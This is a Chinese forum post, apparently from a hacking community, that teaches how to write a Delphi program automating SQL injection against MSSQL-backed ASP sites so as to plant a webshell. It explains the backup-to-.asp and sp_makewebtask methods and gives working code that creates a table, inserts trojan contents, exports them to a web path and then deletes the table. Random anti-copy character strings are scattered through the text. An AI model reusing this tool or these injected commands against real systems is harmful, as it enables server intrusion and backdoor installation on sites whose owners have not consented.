- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >一.通过SQL注入得到WEBSHELL的原理: 7 |9 Y! l& w1 w1 S/ ^) D
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
& i: L6 {3 [. i; v分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 * H; h- P; A/ z! O: B$ Q
再来看看CZY的方法吧。 6 x. B# R; Y: T+ j1 u, s% ~/ E: a
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
& y6 O7 `% [% W h; p以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。 $ T. a. w$ b. @; P, i
二.利用DELPHI去实现功能的前言
2 S; R5 G9 S0 l/ R原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
; b9 y* W" W. @" n7 j5 L# s+ l3 d9 V7 @* o9 {
三.如何利用DELPHI得到WEBSHELL。 ' I/ _" B: {# E. h0 H# i5 T
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
6 O8 M( r) q5 R; h: R首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图: ?7 }; D) c: U& }/ u O4 I8 L: A8 T, z# Y
5 S: h- C& A' F& X1 N2 D, w) O9 e; Z/ m: e
- c8 @8 G, ?/ N# ^现在来写程序了。 , B$ f9 t$ X2 @4 V
我们首先定义一个RECORD。 1 I, ?$ A* q4 e
如下:" R, L5 ]; D4 W; w, D' C6 M" M
Type & z8 a! f8 `. X# {
SetOption = Record ( m' ^) i7 Z* ^' b" O
TableName : String; //用来保存要创建的表名.
6 u' S( y& O1 X3 jFieldName : String; //用来保存要创建的字段名. 4 G3 M# @! [! a7 }, n* {; `* W# W* D
FiledType : String; //用来保存创建的字段名类型.
) }4 V' s' T3 m. U. F3 C! e8 W$ a; hEnd; $ m) u0 B1 W& Q( P, e3 I4 Y; r5 D
FiledType字段类型的值是以下类型的一种:
( h+ r$ b; [; s6 ]+ N( iBigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint - y- E+ H- ^# b: e, Y
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
/ {+ Q- v" ^4 z* {% e7 S再定义一个全局变量: 4 {7 ?8 p9 y ]! q( _/ g/ j: Y
Var
1 C- Z4 C7 g/ NISStop : Boolean; //用来判断用户是否按下了停止按纽.
% n4 L* ~7 N0 M& I# K好了。在表单创建的过程中,我们为RECORD记录输入默认值. & D+ K4 w9 w) c% a) ?
代码如下: / ?& x/ ^- z- {' s8 E
procedure TMainForm.FormCreate(Sender: TObject);
: d9 ]* A Y m7 z# f) |begin
. q' E6 {" s( p! a0 l: {1 WsOption.TableName :='cyfd' ; G k1 e! J: [
sOption.FieldName :='gmemo' ' B* f( W5 c) e8 R
sOption.FiledType :='text' 7 V3 L3 d6 b" e: {- z. a
end; ; |, m; X$ g5 e" p' a
现在我们添加开始执行命令的代码。
; ~- F- S$ W8 C5 C! L* U先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来. ; u5 A& s" B1 w0 c/ b+ G1 Q
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用. - A% z1 K9 e3 i! D7 I/ E3 \
在程序开始执行前,我们得先检查一下用户的输入 , H" p$ Z$ e$ O0 x3 r
定义一个Checkinput函数. + B" o0 y2 `+ `6 J' m$ M e
如下:
3 L$ z) g- \% _( ?7 |( v* V& {Function CheckInput : Boolean; , t& R, ~& [) a9 s- p- F2 g; U/ ^- Y
Begin
0 q x, A& D7 ]5 l* n& `3 B# mResult := False;
3 G& R( x0 d$ i/ I3 {3 V- n( qif Trim(urlet.Text) = '' then
6 h2 e* V& _2 z! _Begin 4 \1 E6 M: u/ f# T: B
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
! i1 |1 J' e2 }$ T1 c$ B* BExit; 6 a& P' @8 \4 l& `0 T( z `) O
End; & I) y8 F' s# ^
if Trim(ShellPathET.Text) = '' then
. J, d; J. b Y- V0 M2 `6 U1 a2 c8 iBegin
* c9 e+ Z2 ]8 Z5 {" m+ ^1 HApplication.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
e3 C5 a, z% @# F$ `6 u/ \Exit;
& i( V2 [1 z3 K5 }( QEnd; 0 D$ R8 ]) Z! t+ R- L
IF DefBDoor.Checked then
1 n8 i: }6 r. Y% b- Z8 R; h1 sBegin
, r1 q, k9 D- o7 r$ _if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then , {) p9 v0 t/ n# K, H
Begin
2 f a) f- C1 m% {Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation); " [9 p" B) W$ S0 h8 [& T
Exit;
9 o0 g5 ]( e9 J' YEnd;
9 g3 h( l) e2 vEnd 8 d% v7 F% s$ G: C. i$ ]5 n. h3 ~" Q
Else 1 F% r- i0 t$ U: A l
if Not FileExists(CustomBdoorET.Text) then
) X/ r( e4 h; a( o3 b, b8 g2 g+ K3 ?Begin
% p6 ` V$ k2 T% Z2 c2 }2 }( {; OApplication.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation); 6 n: K8 _% ~0 ^$ ] A
Exit; 4 v* ?2 T( a# R5 d3 F. H6 _' X/ I
End; . x, n; X8 [/ L5 Q% b. q. g/ x
Result := True;
0 ]& Q; Z7 B5 Z$ P" i ]6 d! g9 C, VEnd;
" w% d1 Q( q4 r6 r7 L: o在最开始加入: 8 q4 F+ S1 {1 `! M) ^) S' n( K8 z4 B
IF Not CheckInput then Exit; //如果输入不合法就退出过程.
8 c2 h+ f8 H$ D, j& c. X好了,如果用户输入没什么错,我们就来下面的代码。
r7 S, ~' {4 I( X9 h4 r首先我们把IsStop设为假。创建BdoorList。 & a2 _2 c1 ^! d* l/ a+ U4 E
BDoorList := TstringList.Create; # d5 Q& A1 y+ p7 \8 F0 P3 D
再加木马内容到BDoorlist.
7 e/ K3 y# K4 g2 i: cBDoorList.LoadFromFile(CustomBdoorET.text);
6 F3 D5 n1 e" l, w好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
0 X2 F- E3 q3 [0 m1 x' s! q) k( U代码如下:
/ O2 x k) R2 r# VBDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]); ( `! D: l% _ q
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
9 S7 S7 g/ t6 t; U! e; \接下来.我们就提交建表的功能了.
0 Y& V: B" K( _% EMemo.Lines.Add('建表...'); + E6 B+ T0 g; Y; ~; `) K
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
p& _7 k) C& n# ?这样我们就创建了一个表。然后.我们向表中加记录: 2 S* o J. R1 n( a2 B; [8 O
代码如下:
; ]* I* c' _2 G# E- Z% T! XMemo.Lines.Add('加数据...');
2 B# [ M: N, Q( n6 b3 l% \6 MMemo.Lines.Add(''); ) ?8 O8 g$ L6 N2 t! Q, G
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
, C, q$ l8 C0 }9 ~2 `- u/ F$ K* HBegin , u8 L/ j6 \8 ~* }
IF IsStop then //这里如果点了停止按纽程序将终止任务.
/ k/ J& o: J$ W* D' e7 B0 N# yBegin
# @( U% s( \ b9 o+ I6 WBDoorList.Free;
3 B' |2 E5 a3 `Exit; $ H9 {3 `/ }+ p8 e( ~' ?# f
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); # `: H8 U+ V T J* ?7 I$ h
Memo.Lines.Add('Add Line '+Inttostr(i+1));
2 J8 J5 \3 c7 u' N/ Q6 iEnd; : W, m4 v T: u
现在就是导出数据生成木马了. , c' _4 u; \. @1 n
Memo.Lines.Add('导出数据...');
0 g% y. ^( l! U) n( fMemo.Lines.Add('');
F: k9 ~8 l# y& L0 x& PIF BKData.Checked then //如果选中采用备份数据就执行下面的命令. 3 K7 H) V. A. y2 Q+ b1 Q
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
# W& j: \/ X J, ]7 Y! PElse //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+''''); # ~7 I, i7 n# J0 m' f. E
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
/ @8 X2 l+ ~0 t这样我们的任务就完成了。下面来释放变量. & b. A9 Q( i5 r6 Q& l9 `4 K ?6 U
BDoorList.Free; 3 z/ X8 \4 b/ U7 _) C2 Z1 J' C
再来向停止按纽中添加点击事件:
+ \' ^* T. ~8 ~) s( B一行代码就行了:IsStop := True; % \9 c3 A0 I0 ~, x
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
) j5 D+ c* p; |2 n设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
' x% Y7 h6 J0 ]第一个名称为:TableNameET //保用户输入的存临时表
; p% v* {0 v* i+ ?7 _第二个名称为:FieldNameET //用来保存用户输入的字段名. 0 d w+ c. B1 j: z5 }; c
再添加一个Combobox //用来保存用户所选的字段类型值.
; x1 O6 G l/ t5 K$ I名称:FieldTypeCombox
( g: ]2 f+ l( m% {/ L9 l2 mOK.界面如下: 4 t' C6 S& B- u' K! ~5 Y2 M) V" @$ z
/ i% h. O, [: Y x
代码如下:
: r- A8 N* e) \" \8 ?定义一个过程,主表单好调用这个设置。
, @+ ]5 U+ E% r$ F1 vProcedure ShowSet;
) y' ~% _- N1 L* D( z) r" d/ G( MBegin 8 ]! L8 k* N# c+ r
Application.CreateForm(TSetForm,SetForm); - o3 t7 l% u; X7 Y9 B+ Z
With SetForm do
1 V8 Y6 s. ^% \5 M3 {; }Begin
* ]5 @- I$ U3 ]4 e( E* M/ LTableNameET.Text := sOption.TableName;
0 u( U* C* y, \0 BFieldNameET.Text := sOption.FieldName;
2 a. e( t3 s) ?+ i1 L9 GFieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); N; N# E" e% v. _6 L
End;
" x- j8 D6 r! L [2 N8 _2 nSetForm.ShowModal; # W+ i) t, l* j; D
SetForm.Free; 7 D, r8 o' P" J3 K5 k' E" H
End; $ ^9 V; c2 d5 Y
在主表单中设置的点击事件中添加上showset过程就行了。 - n% s# q" d! I f
下面就是点击确定的代码了。
- k3 E3 c5 N- l! xIF CheckInput then 5 r" A, A5 Y& ?- R% o6 t8 d
Begin 3 E* B& p) e+ `1 O6 x6 e. f
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD. 3 ~4 H" n9 I- ]! i8 O
sOption.FieldName := Trim(FieldNameET.Text); - g, \% l3 g6 d6 N" B3 r" V4 L2 W& E
sOption.FiledType := FieldTypeCombox.Text;
* u( O) [' x+ U- @2 m6 ?" uClose; 4 K7 b* s# P# C
End; 8 F6 o6 z0 }! G8 h6 S9 H: r
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 $ `% n4 H1 c1 p1 ~+ c
代码如下: ( ~# i3 q: K7 K1 ~
Function CheckInput : Boolean;
( d) B9 S1 L" ?" DBegin
) Y k' S) |8 [Result := False;
+ i& l3 F/ R; y7 E# v P& z6 h) P- pIF Trim(TableNameET.Text)='' then 5 Q2 k$ {! G2 O5 B; @7 I' \
Begin 8 K; c6 y/ M4 U1 X9 v
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation); . `; ~5 P2 {) Y
Exit;
; k- ?( Y2 ^" bEnd; s1 A; @$ j5 `( U7 J' y
IF Trim(FieldNameET.Text)='' then
% {9 i5 d1 d/ H4 ABegin 9 W% |- G8 f7 l4 I/ }$ W9 L8 d& U8 L
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); & h( r3 S0 d9 M: `6 q2 h
Exit; * A @9 q+ \ F8 \! m8 m9 m# x" ~
End; , F& c u& K- G7 v5 n
Result := True; ' i; s! b8 ]/ Q2 f
End;
- N& F! h D4 _& p& c" d5 }. O. M到这里程序就完了。</P> |
zan
|